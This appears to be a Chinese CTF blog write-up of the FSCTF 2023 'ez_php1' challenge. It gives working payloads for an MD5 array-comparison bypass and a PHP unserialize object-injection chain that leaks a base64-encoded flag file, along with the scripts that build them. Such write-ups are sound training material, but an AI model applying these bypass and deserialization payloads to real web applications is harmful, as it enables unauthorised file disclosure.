[FSCTF 2023]ez_php1

[FSCTF 2023]ez_php1

点开之后是一段php代码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>
game over!

这段代码通过接收两个 GET 参数和一个 POST 参数来进行一系列的逻辑判断和输出。主要目的是在满足特定条件下输出不同的提示信息,可能涉及到一个简单的挑战或游戏。

以下是对代码的详解:

 <?php
highlight_file(__FILE__);以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。
error_reporting(0);关闭 PHP 的错误报告,这样
在脚本执行过程中不会显示任何错误信息。
include "globals.php";包含名为 “globals.php” 的
文件,可能包含一些全局变量或函数的定义,具体内容
取决于这个文件的内容。
$a = $_GET['b'];URLGET 参数中获取名
为 “b” 的值,并赋值给变量$a$b = $_GET['a'];URLGET 参数中获取名
为 “a” 的值,并赋值给变量$bif($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    /*$a!=$b:检查变量$a和$b的值是否不相等。
    md5($a)==md5($b):检查变量$a和$b经过 MD5 哈希后的结果是否相等。
如果这两个条件同时满足,则执行大括号内的代码。如果满足上述条件,
输出三个感叹号。*/
    $c = $_POST['FL_AG'];POST 请求中获取名为 “FL_AG” 的
    值,并赋值给变量$cif(isset($c))检查变量$c是否被设置,如果是,则执行大括号内的代码
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
    使用正则表达式检查变量$ja中是否包含字符串 “flag”。但
    是在给出的代码中,并没有看到对$ja变量的赋值操作,这可
    能是一个错误或者遗漏。
    如果匹配成功,输出 “You are bad guy!!!”。

        }
            else {
                echo "Congratulation!!";
                echo $hint1;如果正则表达式匹配失败,输出 “Congratulation!!” 以及一个可能在 “globals.php” 
                文件中定义的变量$hint1的内容。
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");如果一开始的条件不满足
    (即$a=$b或者md5($a)!=md5($b)),输出 “game over!”
     并终止脚本执行。
}
?>
game over!

然后我们使用数组绕过,构造:

?a[]=1&b[]=2

我们得到了:
在这里插入图片描述提示让我们输入FL_AG的值,由源码可知这里需要使用POST传参,然后我们得到:
在这里插入图片描述然后我们直接访问/L0vey0U.php得到:
在这里插入图片描述这是一个简单的反序列化,直接构造poc链子:

<?php
$str="YES I love";
echo serialize($str);
?>

利用在线php工具运行得到:
在这里插入图片描述构造payload,get传参:

?str=s:10:"YES I love";

在这里插入图片描述得到新的提示:P0int.php,我们直接访问/P0int.php,
得到了一串新的php代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?> 

这又是一个反序列化,构造脚本如下:

<?php
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
} 
$c=new Clazz();
$c->a=&$c->b;
echo serialize($c);
?>

用网页php在线工具运行以下得到:
在这里插入图片描述接着构造payload,post传参:

data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

运行之后得到:
在这里插入图片描述然后我们用base64在线解码工具解码后得到flag:
在这里插入图片描述由此得到本题flag为:
FLAG{y0u_are_l0ve!!!}

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值